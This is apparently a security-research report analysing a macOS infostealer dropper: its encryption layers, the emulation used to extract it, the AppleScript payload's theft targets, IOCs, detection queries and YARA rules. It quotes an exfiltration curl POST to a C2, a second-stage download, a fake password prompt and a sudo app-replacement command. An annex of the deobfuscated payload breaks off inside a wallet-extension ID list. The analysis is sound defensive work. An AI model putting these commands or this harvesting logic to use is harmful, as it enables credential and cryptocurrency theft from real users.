LOONARO SYS
← BACK_TO_REPORTS
2026-04-07macOSinfostealerAppleScriptcrypto-stealerreverse-engineering

Tearing Apart a Multi-Layer macOS Infostealer Dropper

Full static analysis of a macOS ARM64 infostealer dropper that uses custom encoding, NEON multiply chains, and runtime key derivation to decrypt a 114KB AppleScript payload targeting browser credentials, Keychain, crypto wallets, Apple Notes, and more.

Tearing Apart a Multi-Layer macOS Infostealer Dropper

Executive Summary

The sample is a macOS Mach-O Universal binary (x86_64 + ARM64) that serves as a multi-layer encrypted dropper for a 114KB obfuscated AppleScript infostealer. The binary employs six distinct encryption layers -- including a custom hex encoding alphabet, ARM NEON multiply-accumulate chains, runtime key derivation from an environment check, and a hash-table-based substitution cipher -- to resist static analysis.

Once decrypted, the AppleScript payload steals browser credentials and cookies from all major browsers, targets ~280 cryptocurrency wallet extensions by ID, exfiltrates the macOS Keychain, harvests Apple Notes, social-engineers the user's macOS password via a fake dialog, stages everything under /tmp/, and uploads to a C2 server at mpasvw[.]com / 92.246.136[.]14. It installs persistence via a LaunchDaemon masquerading as com.apple.accountsd.helper.

Analysis was conducted statically using Ghidra for disassembly and Unicorn Engine for emulating the decryption routines.

Quick-Reference IOCs

If you see any of the following on a macOS endpoint, assume compromise and isolate immediately:

IOCTypeWhat It Means
92.246.136[.]14IPC2 server - active exfiltration endpoint. If you see outbound HTTP POST traffic to this IP, stolen data is being uploaded.
mpasvw[.]comDomainPrimary exfiltration domain. HTTPS POST with custom headers (BuildID, user, cl). Block and sinkhole.
aforvm[.]comDomainC2 domain for second-stage binary download (https://aforvm[.]com/zxc/kito). Used by the persistence installer to fetch the backdoor binary. Not used for data exfiltration.
com.apple.accountsd.helperLaunchDaemonPersistence mechanism masquerading as Apple's accountsd. Real Apple daemons don't use this label. Presence indicates a backdoor is installed and will survive reboot.
~/Library/Application Support/.com.apple.accountsd/DirectoryBot installation directory. Contains .auth (stolen password), .cfg (config), .service (bot binary). Hidden directory using Apple naming convention.
/tmp/<5-digit-random>/DirectoryActive staging directory. Contains FileGrabber/ subdirectory with stolen browser data, SSH keys, crypto wallets, Notes. pwd file contains the user's macOS password in plaintext.
/tmp/out.zipFileArchived stolen data ready for exfiltration. If this exists, data theft is complete and upload is imminent or in progress.
osascript with >100KB -e argumentProcessThe infostealer payload being executed. Normal osascript invocations use short scripts or file paths, not 114KB inline arguments.
dscl . authonly invoked by osascriptProcessPassword validation — the malware is testing a stolen or social-engineered password against the local account.
curl -X POST with -H "BuildID:"ProcessData exfiltration in progress. The custom header is unique to this malware family.
pkill TerminalProcessPost-execution cleanup. The malware kills Terminal to hide evidence. If this appears without user action, the payload has already run to completion.

Binary Metadata

PropertyValue
SHA25613185b0ed3b5032ed4c92f73ea100188af73d46e84a0a2b84055e2f2d3e3b6af
FormatMach-O Universal (x86_64 + ARM64)
Total Size11,497,832 bytes (11 MB)
ARM64 Slice5,652,488 bytes
Code Section1.1 MB (__text)
Encrypted Data4.3 MB (__const)
Functions59 (21 user-defined)
CompilerClang/LLVM (C++ with libc++)
Importsfork, pipe, dup2, execl, execvp, write, waitpid, bzero

The binary's import table immediately reveals its intent: pipe-based process execution with memory wiping.


Dropper Architecture

Function Map

All 21 user-defined functions were identified and renamed in Ghidra:

AddressNameRole
0x100111fc4entryEntry point
0x100111fd8main_orchestratorDecryption + execution pipeline
0x100000d70byte_vector_insertBuild encrypted byte arrays from __const
0x100000f94int_vector_insertBuild encryption key integer arrays
0x1000011e0alloc_zeroed_stringAllocate zeroed std::string buffer
0x10000126cexec_shell_commandfork/pipe/execvp /bin/sh -s
0x100001984custom_hex_decodeHex decode with custom 16-char alphabet
0x1000013e4substitution_cipherHash-table position-based substitution
0x10005a388generate_initial_payloadInitial command generator (~360 KB code)
0x100044be0generate_payload_fragment1Shell script fragment 1 (~90 KB code)
0x10005ce58generate_payload_fragment2Shell script fragment 2 (~370 KB code)
0x100025c74generate_payload_fragment3Shell script fragment 3 (~125 KB code)
0x1000c8554generate_payload_fragment4Shell script fragment 4 (~290 KB code)
0x100001a84generate_payload_fragment5Shell script fragment 5

Six additional functions (check_string_integrity, compute_custom_hash, copy_string_bytewise, and three decryption variants) are compiled into the binary but never called -- likely dead code from a shared library or deliberate decoys.

Custom Hex Encoding

The binary uses a non-standard 16-character alphabet for hex encoding, stored as a 256-byte lookup table at 0x100113490:

Nibble0123456789ABCDEF
CharCZmBJfxMEervuAFI

This defeats pattern matching for standard hex-encoded strings and evades YARA rules targeting conventional encoding.


Decryption Pipeline (6 Phases)

Phase 1: Key Material Construction

The main_orchestrator loads hardcoded constants from the __const section into three arrays:

  • Byte array (128 bytes): Built via 2 calls to byte_vector_insert
  • Int array 1 (128 x 32-bit): Built via 3 calls to int_vector_insert
  • Int array 2 (128 x 32-bit): Built via 2 calls to int_vector_insert

These feed into an ARM NEON multiply-accumulate chain: for each position, the integer key is raised to the 32nd power modulo 2^32 across four parallel accumulators, then the results are cross-multiplied using NEON ext (element extract) to produce a single transformation byte.

The output is a 128-byte substitution cipher key consisting entirely of the 16 custom hex alphabet characters.

Phase 2: Initial Command Decryption + Execution

  1. generate_initial_payload() -- a massive function (10,959 bytes of code) making ~122 calls to byte_vector_insert and ~110 to int_vector_insert -- assembles encrypted data from __const and applies an arithmetic transformation:
output[i] = ((mid - lo) - (hi ^ ciphertext[i])) ^ lo
where: lo = val & 0xFF, mid = (val>>8) & 0xFF, hi = (val>>16) & 0xFF
(each clamped to 1 if zero)
  1. custom_hex_decode() converts the result from the custom alphabet to raw bytes
  2. substitution_cipher() transforms using the Phase 1 key
  3. exec_shell_command() executes the result via fork/pipe/execvp /bin/sh -s

The initial command (2,906 bytes) is an obfuscated AppleScript executed via osascript -e that performs an environment check. Its exit code seeds all subsequent decryption.

Phase 3: XOR Key Derivation

The waitpid() return status from Phase 2 determines the master XOR key:

if (status & 0x7F) != 0:    // killed by signal
    key = 0x67              // fallback
else:                        // normal exit
    exit_code = (status >> 8) & 0xFFFFFF
    key = ((exit_code * 0xBDE) + 0x5AF) & 0xFF

For the expected exit code of 0: key = 0xAF. An incorrect exit code (sandbox, wrong OS version) produces the wrong key, rendering all subsequent decryption into garbage.

Phase 4: Fragment Decryption

Five payload generator functions -- each 90-370 KB of code containing hundreds of inlined constant loads -- produce hex-encoded data. Each generator has a unique arithmetic transformation (confirmed via ARM64 instruction analysis of their transformation tails):

FragmentGeneratorXOR Key VariantVerified
1generate_payload_fragment1key (0xAF)EOR + ORR chain
2generate_payload_fragment2key + 0x43 (0xF2)Multi-int-array
3generate_payload_fragment3key + 0x86 (0x35)EOR + ORR chain
4generate_payload_fragment4key - 0x37 (0x78)MADD + ORR + EOR
5generate_payload_fragment5key + 0x0C (0xBB)ORR + EOR + UBFM

After hex-decode and XOR, each fragment produces valid custom hex characters -- confirming the XOR key 0xAF was identified correctly (100.0% valid across all 304,576 bytes).

Phase 5: Reassembly + Substitution Cipher

  1. All five XOR'd fragments are hex-decoded again (custom alphabet -> binary)
  2. An additional 60-byte segment is decoded from an arithmetic tuple table at 0x10054c320
  3. substitution_cipher() is applied using the Phase 1 key to produce the final plaintext

Phase 6: Pipe to Bash with Anti-Forensics

The decrypted script is piped to /bin/bash with a critical anti-forensics technique:

for each chunk (64-191 bytes):
    XOR decrypt the chunk (with key 0xAF)
    write(pipe_fd, chunk, chunk_size)
    bzero(chunk, chunk_size)         // wipe immediately

Between each write, the data is re-encrypted then selectively decrypted per chunk. At any point during execution, at most ~191 bytes of plaintext exist in memory.

A second exec_shell_command runs disown; pkill Terminal to hide the execution window.


Extraction via Emulation

The six payload generator functions are 90-370 KB each, containing hundreds of inlined constant loads. Five of six exceeded Ghidra's decompiler timeout and instruction limits. Rather than attempting manual ARM64 instruction tracing across ~1MB of transformation code, the payload was extracted by emulating the binary's own decryption routines using Unicorn Engine -- an ARM64 CPU emulator.

Why Emulation

The dropper's encryption is deeply layered: each generator has a unique arithmetic transformation, the substitution cipher uses a complex hash-table with position-dependent output, and the XOR key is derived at runtime. Reversing each layer independently proved impractical -- small errors in any layer cascade into garbage output. Emulating the binary's own code guarantees correct decryption without needing to understand every intermediate step.

Emulation Architecture

The approach used three emulation stages:

Stage 1 -- Generator Functions: Each of the six generator functions was emulated individually. The functions are pure data transformations: they load constants from the __const section, apply arithmetic, and return a std::string. External dependencies (operator_new, memcpy, memmove, bzero) were hooked with Python implementations operating within Unicorn's sandboxed memory. All six produced 100% valid custom hex output (~122 KB each), confirming correct emulation.

Stage 2 -- XOR Key Identification: With all generator outputs in hand, the XOR base key was identified by brute-forcing all 256 candidates. For each candidate, every byte of every fragment was XOR'd with its key variant, and the result was validated against the custom hex alphabet. Key 0xAF (corresponding to exit code 0) produced 100.0% valid hex across all 304,576 bytes. The next-best candidate scored 41%.

Stage 3 -- Full Pipeline: The main_orchestrator function was emulated end-to-end with:

  • Generator calls intercepted and returning pre-computed outputs from Stage 1
  • exec_shell_command returning waitpid status 0 (exit code 0, matching the key from Stage 2)
  • All syscall stubs (fork, pipe, execl, execvp, write, dup2, close, waitpid, __exit) hard-blocked to prevent any process or I/O operations

The emulation ran ~24 million instructions across the orchestrator's decryption pipeline -- NEON multiply chain, XOR layers, hex decode, substitution cipher, fragment concatenation -- and stopped at the _pipe syscall stub. At that point, the fully decrypted 114,216-byte payload was read directly from the emulated stack and XOR-decrypted with key 0xAF.


Payload Analysis: AppleScript Infostealer

The decrypted payload is a 114,216-byte (1,339-line) obfuscated AppleScript executed via osascript -e '...'. All operational strings are constructed at runtime via three arithmetic obfuscation functions that use character-code math on integer arrays.

String Obfuscation Functions

-- Subtraction: chr(a[i] - b[i])
on xhbgcyydmaj(a, b) ...

-- Addition: chr(a[i] + b[i])
on okkqzcmkurrg(a, b) ...

-- Subtraction with constant: chr(a[i] - c - b[i])
on llwlidonf(a, b, c) ...

Over 480 strings are constructed this way (variables hwyksoup0 through hwyksoup479), making the script completely opaque to static string scanning.

Stealing Capabilities

1. Browser Credentials & Cookies

Targets all major Chromium + Firefox browsers:

  • Google Chrome, Brave, Microsoft Edge, Opera/Opera GX, Vivaldi, Arc, Firefox, Safari
  • Steals: Login Data, Cookies, Web Data, History, Local State, Bookmarks, Form Values
  • Iterates all browser profiles
  • Uses cp -f to copy database files to staging

2. Cryptocurrency Wallet Extensions (~280 IDs)

The gaifltxslt property contains ~280 browser extension IDs targeting:

  • MetaMask, Phantom, Coinbase Wallet, Trust Wallet, Exodus, Atomic Wallet
  • Keplr, Terra Station, Solflare, Brave Wallet
  • Many other DeFi, NFT, and crypto wallet extensions
  • Password manager extensions

When a targeted extension is found (mutwyxdwgkws checks directory listing), its entire storage is recursively copied.

3. macOS Keychain

  • Determines Keychain UUID directory via shell command
  • Copies entire ~/Library/Keychains/<UUID>/ directory (contains login.keychain-db)

4. Apple Notes

  • Accesses Notes app via AppleScript (tell application "Notes")
  • Extracts creation date + body of every note across all accounts
  • Copies NoteStore SQLite databases and media attachments (30MB cap)

5. Safari Data

  • ~/Library/Cookies/Cookies.binarycookies
  • ~/Library/Containers/com.apple.Safari/Data/Library/Cookies/
  • ~/Library/Safari/Form Values (autofill data)

6. Desktop & Documents Files

  • Scans Desktop and Documents folders
  • Steals files matching target extensions (likely .txt, .pdf, .key, .pem, .wallet, .kdbx, .json, .env)
  • 30MB total size cap

7. SSH Keys & Cloud Credentials

Decoded strings reveal theft of developer/DevOps secrets:

  • SSH: Copies entire ~/.ssh/ directory to FileGrabber/ssh/
  • AWS: ~/.aws/credentials and ~/.aws/config
  • Google Cloud: ~/.config/gcloud/application_default_credentials.json and credentials.db
  • Azure: Entire ~/.azure/ directory
  • Docker: ~/.docker/config.json
  • FileZilla: sitemanager.xml and recentservers.xml (FTP credentials)

8. Desktop Cryptocurrency Wallet Theft

Targets native wallet applications by directly copying wallet files:

  • Electrum: ~/.electrum/wallets/
  • Electrum-LTC: ~/.electrum-ltc/wallets/
  • Electron Cash: ~/.electron-cash/wallets/
  • Coinomi: Coinomi/wallets/
  • Exodus: Exodus/ (full app data)
  • Atomic Wallet: atomic/Local Storage/leveldb/
  • Wasabi Wallet: ~/.walletwasabi/client/Wallets/
  • Ledger Live: Ledger Live/ storage
  • Monero: Monero/wallets/
  • Bitcoin Core: Bitcoin/wallets/
  • Litecoin Core: Litecoin/wallets/
  • Dash Core: DashCore/wallets/
  • Dogecoin Core: Dogecoin/wallets/
  • Trezor Suite: @trezor/suite-desktop/
  • Sparrow: ~/.sparrow/wallets/
  • Guarda: Guarda/
  • Binance: Binance/app-store.json
  • TonKeeper: @tonkeeper/desktop/config.json

9. Trojanized Desktop App Replacement

Three functions (webipcfdo, kewfxqic, nwjzgtalvo) target Ledger Wallet, Trezor Suite, and Exodus desktop apps:

  1. Downloads a trojanized replacement from the C2 (/zxc/app.zip, /zxc/apptwo.zip, /zxc/appex.zip)
  2. Uses the stolen sudo password: echo <password> | sudo -S rm -r /Applications/Ledger Wallet.app
  3. Extracts the trojanized app via ditto -x -k to /Applications/
  4. Sets permissions: chmod -R +x
  5. Tracks replacement via a .logged marker file

10. Messaging & Other Data

  • Telegram: Telegram Desktop/tdata/ (session keys: key_datas, maps)
  • Discord: Local Storage/leveldb/ (tokens)
  • Apple Stickies: Containers/Stickies/Data/Library/Stickies/
  • Shell History: ~/.zsh_history
  • OpenVPN: OpenVPN Connect/profiles/

11. Password Social Engineering

-- First tries empty password via dscl
dscl . authonly <username> <password>

-- If fails, shows fake system dialog:
display dialog <prompt> default answer "" with icon caution
    buttons {"OK"} default button "OK" with hidden answer with title "macOS"
  • Displays a convincing macOS-styled password prompt
  • Loops until the user enters a valid password (validated via dscl . authonly)
  • Stores in <bot_dir>/.auth for persistence across runs

12. Malicious Browser Extension Injection

Three separate functions target Chrome, Brave, and Firefox:

  • Create temporary browser profiles
  • Install a malicious extension
  • Launch the browser with the compromised profile
  • The extension likely performs in-browser credential/cookie extraction

Persistence

Installs a LaunchDaemon masquerading as an Apple service:

ComponentValue
Labelcom.apple.accountsd.helper
Plist Path/Library/LaunchDaemons/com.apple.accountsd.helper.plist
Binary~/Library/Application Support/<dir>/<bot_binary>
PropertiesRunAtLoad, KeepAlive

The second-stage binary is downloaded from the C2 via curl -o <path> https://<c2>/zxc/kito.

Data Staging & Exfiltration

Staging:

  • Creates /tmp/<random_5_digit>/ directory
  • Organizes stolen data into subdirectories (FileGrabber/, browser-specific dirs)
  • Archives with zip or ditto to /tmp/out.zip

Exfiltration:

curl --connect-timeout 120 --max-time 300 -X POST \
  -H "user: <macOS_username>" \
  -H "cl: <client_id>" \
  -H "BuildID: 0"
  -H "cl: 1OVqyOU/n3-4zKVSjFsNK88S2buJzuW3rNaXRCJ1l4Q=" \
  -H "cn: <chunk_number>" \
  -F "file=@/tmp/out.zip" \
  https://mpasvw[.]com/<path>
  • Files >25MB are split and uploaded in numbered chunks
  • 3 retry attempts with 10-15 second delays
  • Falls back to http://92.246.136[.]14/contact if primary fails

Cleanup

disown; pkill Terminal

Kills the Terminal window to hide evidence of execution.


Indicators of Compromise

Network IOCs

TypeValueDescription
C2 Domainmpasvw[.]comPrimary exfiltration endpoint
C2 Domainaforvm[.]comBuild ID / bot identifier
C2 IP92.246.136[.]14Fallback C2 (plain HTTP)
URL Path/contactUpload endpoint
URL Path/zxc/kitoSecond-stage binary download

File IOCs

TypeValueDescription
SHA25613185b0ed3b5032ed4c92f73ea100188af73d46e84a0a2b84055e2f2d3e3b6afDropper binary
Filecom.apple.accountsd.helper.plistPersistence plist
File.auth in Application SupportStolen macOS password
File.cfg in Application SupportBot configuration
File.service in Application SupportBot binary
File/tmp/out.zipArchived stolen data
File/tmp/<5_digits>/pwdPassword staged for exfil
File/tmp/<5_digits>/FileGrabber/Stolen files staging

Behavioral IOCs

IndicatorDescription
osascript -e with >100KB argumentAppleScript payload execution
osascript reading Cookies.binarycookiesCookie theft
osascript accessing ~/Library/Keychains/Keychain theft
osascript using display dialog + hidden answerPassword phishing
osascript running dscl . authonlyPassword validation
curl -X POST with -H "BuildID:" headerData exfiltration
pkill TerminalPost-execution cleanup
Mach-O binary piping data to /bin/bash via fork/pipeDropper execution pattern

CrowdStrike Falcon Queries

-- Dropper execution pattern: binary piping to bash
event_simpleName=ProcessRollup2 AND FileName="bash" AND ParentBaseFileName NOT IN ("Terminal", "iTerm2", "zsh", "login")

-- AppleScript stealer execution
event_simpleName=ProcessRollup2 AND FileName="osascript" AND CommandLine CONTAINS "-e" AND CommandHistory_bytes > 50000

-- Password dialog social engineering
event_simpleName=ProcessRollup2 AND FileName="osascript" AND CommandLine CONTAINS "hidden answer"

-- Keychain access by osascript
event_simpleName=FileOpenInfo AND FileName="login.keychain-db" AND ContextProcessId_decimal IN (SELECT ProcessId FROM ProcessRollup2 WHERE FileName="osascript")

-- Cookie theft
event_simpleName=FileOpenInfo AND FileName="Cookies.binarycookies" AND ContextProcessId_decimal IN (SELECT ProcessId FROM ProcessRollup2 WHERE FileName="osascript")

-- LaunchDaemon persistence (masquerading as Apple)
event_simpleName=FileWriteInfo AND FilePath CONTAINS "LaunchDaemons" AND FileName="com.apple.accountsd.helper.plist"

-- Bot binary install
event_simpleName=FileWriteInfo AND FilePath CONTAINS "Application Support" AND FileName=".service"

-- Password file creation
event_simpleName=FileWriteInfo AND FileName=".auth" AND FilePath CONTAINS "Application Support"

-- C2 communication
event_simpleName=DnsRequest AND DomainName IN ("mpasvw.com", "aforvm.com")
event_simpleName=NetworkConnection AND RemoteIP="92.246.136.14"

-- Data exfiltration via curl
event_simpleName=ProcessRollup2 AND FileName="curl" AND CommandLine CONTAINS "BuildID"

-- Post-execution cleanup
event_simpleName=ProcessRollup2 AND FileName="pkill" AND CommandLine CONTAINS "Terminal"

YARA Rules

rule MacOS_Infostealer_Dropper {
    meta:
        description = "Detects macOS infostealer dropper with custom hex encoding"
        author = "Malware Analysis"
        severity = "Critical"
        hash = "13185b0ed3b5032ed4c92f73ea100188af73d46e84a0a2b84055e2f2d3e3b6af"
    strings:
        $hex_table = { FF 0D 03 00 FF 08 0E FF FF 0F 04 FF FF 07 }
        $bin_sh = "/bin/sh" ascii
        $bin_bash = "/bin/bas" ascii
        $import_fork = "_fork" ascii
        $import_pipe = "_pipe" ascii
        $import_dup2 = "_dup2" ascii
        $import_execl = "_execl" ascii
        $import_write = "_write" ascii
    condition:
        uint32(0) == 0xBEBAFECA and  // FAT Mach-O
        $hex_table and $bin_sh and $bin_bash and
        3 of ($import_*)
}

rule MacOS_Infostealer_AppleScript_Payload {
    meta:
        description = "Detects obfuscated AppleScript infostealer payload pattern"
    strings:
        $obf1 = "character id ((item" ascii
        $obf2 = "mod 9999" ascii
        $obf3 = /set hwyksoup\d+ to/ ascii
        $cookie = "Cookies.binarycookies" ascii
        $notes = "NoteStore.sqlite" ascii
        $pkill = "pkill Terminal" ascii
        $dialog = "hidden answer" ascii
        $dscl = "dscl . authonly" ascii
    condition:
        4 of them
}

MITRE ATT&CK Mapping

TechniqueIDUsage
AppleScript ExecutionT1059.002Payload delivered via osascript -e
Native APIT1106fork/pipe/execl for process creation
Obfuscated Files or InformationT10276-layer encryption in dropper + arithmetic string obfuscation in payload
Deobfuscate/Decode FilesT1140Runtime string construction from integer arrays
Credentials from Password Stores: KeychainT1555.001Keychain directory theft
Credentials from Password Stores: BrowsersT1555.003Chrome/Brave/Edge/Opera/Firefox/Safari credential theft
Steal Web Session CookieT1539Cookies.binarycookies + browser cookie DB theft
GUI Input CaptureT1056.002Fake macOS password dialog
Data from Local SystemT1005Desktop/Documents file theft by extension
Data from Information RepositoriesT1213Apple Notes extraction
Create or Modify System Process: LaunchDaemonT1543.004com.apple.accountsd.helper persistence
Masquerading: Match Legitimate NameT1036.005LaunchDaemon mimics Apple's accountsd
Archive Collected DataT1560.001zip/ditto staging to /tmp/out.zip
Exfiltration Over C2 ChannelT1041curl POST to mpasvw[.]com
Application Layer Protocol: HTTPT1071.001HTTP POST with custom headers
Ingress Tool TransferT1105Second-stage binary download via curl
Indicator Removal: File DeletionT1070.004bzero memory wiping + pkill Terminal
Virtualization/Sandbox EvasionT1497Initial check command gates decryption

Conclusion

This sample represents a well-engineered macOS infostealer dropper with significant investment in anti-analysis:

  • Six encryption layers protect the payload from static extraction
  • Runtime key derivation from an environment check binds decryption to the target system
  • Per-generator unique transformations prevent pattern-based decryption
  • Chunked write with memory wiping defeats runtime memory forensics
  • 480+ obfuscated strings in the AppleScript payload prevent string-based detection

The payload itself is comprehensive, targeting virtually every valuable data source on macOS: browser credentials, cookies, crypto wallets (~280 extension IDs), Keychain, Apple Notes, documents, and the user's macOS password. The C2 infrastructure uses both a domain (mpasvw[.]com) and a fallback IP (92.246.136[.]14), with the LaunchDaemon persistence masquerading as Apple's accountsd service.

The combination of a compiled ARM64 dropper with an AppleScript payload is notable -- it combines the evasion benefits of native code encryption with the flexibility of AppleScript's access to macOS APIs (Finder, Notes, browser profiles) without requiring entitlements or TCC bypasses for many data sources.



Annexe A: Deobfuscated Infostealer Payload

The full 114KB AppleScript payload with all 530 obfuscated strings decoded inline and all function/variable names replaced with descriptive equivalents.

Click to expand full deobfuscated payload (1,363 lines)
osascript -e '

property targetExtensionIds : {"abamjefkidngfegdjbmffdmbgjgpaobf", "abjfbanhppgiflmobebfffbijcfoeiao", "abkahkcbhngaebpcgfmhkoioedceoigp", "abogmiocnneedmmepnohnhlijcjpcifd", "acmacodkjbdgmoleebolmdjonilkdbch", "admmjipmmciaobhojoghlmleefbicajg", "aeachknmefphepccionboohckonoeemg", "aeblfdkhhhdcdjpifhhbdiojplfjncoa", "afbcbjpbpfadlkmhmclhkeeodmamcflc", "aflkmfhebedbjioipglgcbcmnbpgliof", "agoakfejjabomempkjlepdflaleeobhb", "ahidmapichficbkfglbhgmhjcojjmlnm", "aholpfdialjgjfhomihkjbmgjidlcdno", "aiaghdjafpiofpainifbgfgjfpclngoh", "aiifbnbfobpmeekipheeijimdpnlpgpp", "aijcbedoijmgnlmjeegjaglmepbmpkpi", "ajkifnllfhikkjbjopkhmjoieikeihjb", "ajopcimklncnhjednieoejhkffdolemp", "akkmagafhjjjjclaejjomkeccmjhdkpa", "algblmhagnobbnmakepomicmfljlbehg", "amkmjjmmflddogmhpjloimipbofnfjih", "ammjlinfekkoockogfhdkgcohjlbhmff", "anokgmphncpekkhclmingpimjmcooifb", "apnehcjmnengpnmccpaibjmhhoadaico", "bcenedbpaaegpnijoadpdjiachahncdg", "bcopgchhojmggmffilplmbdicgaihlkp", "bdgmdoedahdcjmpmifafdhnffjinddgc", "bedogdpgdnifilpgeianmmdabklhfkcn", "bfnaelmomeimhlpmgjnjophhpkkoljpa", "bfogiafebfohielmmehodmfbbebbbpei", "bgpipimickeadkjlklgciifhnalhdjhe", "bgjogpoidejdemgoochpnkmdjpocgkha", "bhghoamapcdpbohphigoooaddinpkbai", "bhhhlbepdkbapadjdnnojkbgioiodbic", "bifidjkcdpgfnlbcjpdkdcnbiooooblg", "bipdhagncpgaccgdbddmbpcabgjikfkn", "bkgplkpdgidlgmnlhdfakhcjfpfgjjkb", "bkklifkecemccedpkhcebagjpehhabfb", "bmabahhenimmnfijaiccmonalfhpcndh", "bmikpgodpkclnkgmnpphehdgcimmided", "bocpokimicclpaiekenaeelehdjllofo", "bofddndhbegljegmpmnlbhcejofmjgbn", "bopcbmipnjdcdfflfgjdgdjejmgpoaab", "caljgklbbfbcjjanaijlacgncafpegll", "cfbfdhimifdmdehjmkdobpcjfefblkjm", "cflgahhmjlmnjbikhakapcfkpbcmllam", "cgeeodpfagjceefieflmdfphplkenlfk", "chgfefjpcobfbnpmiokfjjaglahmnded", "cihmoadaighcejopammfbmddcmdekcje", "cjmkndjhnagcfbpiemnkdpomccnjblmj", "cjookpbkjnpkmknedggeecikaponcalb", "ckklhkaabbmdjkahiaaplikpdddkenic", "cmndjbecilbocjfkibfbifhngkdmjgog", "cmoakldedjfnjofgbbfenefcagmedlga", "cnlhokffphohmfcddnibpohmkdfafdli", "cnmamaachppnkjgnildpdmkaakejnhae", "cnncmdhjacpkmjmkcafchppbnpnhdmon", "copjnifcecdedocejpaapepagaodgpbh", "cphhlgmgameodnhkjdmkpanlelnlohao", "cpmkedoipcpimgecpmgpldfpohjplkpp", "dbgnhckhnppddckangcjbkjnlddbjkna", "dgiehkgfknklegdhekgeabnhgfjhbajd", "dkdedlpgdmmkkfjabffeganieamfklkm", "dlcobpjiigpikoobohmabehhmhfoodbb", "dldjpboieedgcmpkchcjcbijingjcgok", "dmkamcknogkgcdfhhbddcghachkejeap", "dngmlblcodfobpdpecaadgfbcggfjfnm", "dpcklmdombjcplafheapiblogdlgjjlb", "dphoaaiomekdhacmfoblfblmncpnbahm", "eamiofncoknfkefhlkdblngblpffehek", "eajafomhmkipbjmfmhebemolkcicgfmd", "ebfidpplhabeedpnhjnobghokpiioolj", "efbglgofoippbgcjepnhiblaibcnclgk", "egjidjbpglichdcondbcbdnbeeppgdph", "ehgjhhccekdedpbkifaojjaefeohnoea", "ehjiblpccbknkgimiflboggcffmpphhp", "eiaeiblijfjekdanodkjadfinkhbfgcd", "einnioafmpimabjcddiinlhmijaionap", "ejbidfepgijlcgahbmbckmnaljagjoll", "ejjladinnckdgjemekebdpeokbikhfci", "elalghlhoepcjfaedkcmjolahamlnjcp", "ellkdbaphhldpeajbepobaecooaoafpg", "emeeapjkbcbpbpgaagfchmcgglmebnen", "enabgbdfcbaehmbigakijjabdpdnimlg", "eokbbaidfgdndnljmffldfgjklpjkdoi", "eomhlheglneofffmbfjflldlbcnhpkpb", "epapihdplajcdnnkdeiahlgigofloibg", "fccgmnglbhajioalokbcidhcaikhlcpm", "fcckkdbjnoikooededlapcalpionmalo", "fcfcfllfndlomdhbehjjcoimbgofdncg", "fdchdcpieegfofnofhgdombfckhbcokj", "fdcnegogpncmfejlfnffnofpngdiejii", "fdjamakpfbbddfjaooikfcpapjohcfmg", "ffbceckpkpbcmgiaehlloocglmijnpmp", "ffnbelfdoeiohenkjibnmadjiehjhajb", "fghhpjoffbgecjikiipbkpdakfmkbmig", "fhbohimaelbohpjbbldcngcnapndodjp", "fhilaheimglignddkjgofkcbgekhenbh", "fiikommddbeccaoicoejoniammnalkfa", "fijngjgcjhjmmpcmkeiomlglpeiijkld", "fldfpgipfncgndfolcbkdeeknbbbnhcc", "flpiciilemghbmfalicajoolhkkenfel", "fmblappgoiilbgafhjklehhfifbdocee", "fmhmiaejopepamlcjkncpgpdjichnecm", "fnjhmkhhmkbjkkabndcnnogagogbneec", "fopmedgnkfpebgllppeddmmochcookhc", "fpibioaihcagphbidhodidjbnclocgll", "fpkhgmpbidmiogeglndfbkegfdlnajnf", "gadbifgblmedliakbceidegloehmffic", "gafhhkghbfjjkeiendhlofajokpaflmk", "gbjepgaebckfidagpfeioimheabiohmg", "gdokollfhmnbfckbobkdbakhilldkhcj", "ghlmndacnhlaekppcllcpcjjjomjkjpg", "ghmbeldphafepmbegfdlkpapadhbakde", "ginchbkmljhldofnbjabmeophlhdldgp", "gjagmgiddbbciopjhllkdnddhcglnemk", "gjkdbeaiifkpoencioahhcilildpjhgh", "gjlmehlldlphhljhpnlddaodbjjcchai", "gjnckgkfmgmibbkoficdidcljeaaaheg", "gkeelndblnomfmjnophbhfhcjbcnemka", "gkodhkbmiflnmkipcmlhhgadebbeijhh", "glmhbknppefdmpemdmjnjlinpbclokhn", "gpnihlnnodeiiaakbikldcihojploeca", "hbbgbephgojikajhfbomhlmmollphcad", "hcjhpkgbmechpabifbggldplacolbkoh", "hdkobeeifhdplocklknbnejdelgagbao", "hdokiejnpimakedhajhdlcegeplioahd", "heamnjbnflcikcggoiplibfommfbkjpj", "hgbeiipamcgbdjhfflifkgehomnmglgk", "hifafgmccdpekplomjjkcfgodnhcellj", "hmeobnfnfcmdkdcmlblgagmfpfboieaf", "hnfanknocfeofbddgcijnmhnfnkdnaad", "hnhobjmcibchnmglfbldbfabcgaknlkj", "hpbgcgmiemanfelegbndmhieiigkackl", "hpclkefagolihohboafpheddmmgdffjm", "ibljocddagjghmlpgihahamcghfggcjc", "ibnejdfjmmkpcnlpebklmnkoeoihofec", "icblpoalghoakidcjiheabnkijnklhhe", "icpikagpkkbldbfjlbefnmmmcohbjije", "idnnbdplmphpflfnlkomgpfbpcgelopg", "idpdilbfamoopcfofbipefhmmnflljfi", "ieldiilncjhfkalnemgjbffmpomcaigi", "ifckdpamphokdglkkdomedpdegcjhjdp", "ifclboecfhkjbpmhgehodcjpciihhmif", "iglbgmakmggfkoidiagnhknlndljlolb", "igkpcodhieompeloncfnbekccinhapdb", "ilhaljfiglknggcoegeknjghdgampffk", "ilolmnhjbbggkmopnemiphomhaojndmb", "imlcamfeniaidioeflifonfjeeppblda", "inlkhilmjmjomfcpdifpfgllhhlpnbej", "iokeahhehimjnekafflcihljlcjccdbe", "jaooiolkmfcmloonphpiiogkfckgciom", "jbkgjmpfammbgejcpedggoefddacbdia", "jblndlipeogpafnldhgmapagcccfchpi", "jbppfhkifinbpinekbahmdomhlaidhfm", "jcacnejopjdphbnjgfaaobbfafkihpep", "jfdlamikmbghhapbgfoogdffldioobgl", "jfmajkmgjpjognffefopllhaijknhnmm", "jgnfghanfbjmimbdmnjfofnbcgpkbegj", "jhfjfclepacoldmjmkmdlmganfaalklb", "jiepnaheligkibgcjgjepjfppgbcghmp", "jiidiaalihmmhddjgbnbgdfflelocpak", "jiiigigdinhhgjflhljdkcelcjfmplnd", "jkjgekcefbkpogohigkgooodolhdgcda", "jkoeaghipilijlahjplgbfiocjhldnap", "jnkelfanjkeadonecabehalmbgpfodjm", "jnldfbidonfeldmalbflbmlebbipcnle", "jnlgamecbpmbajjfhmmmlhejkemejdma", "jnmbobjmhlngoefaiojfljckilhhlhcj", 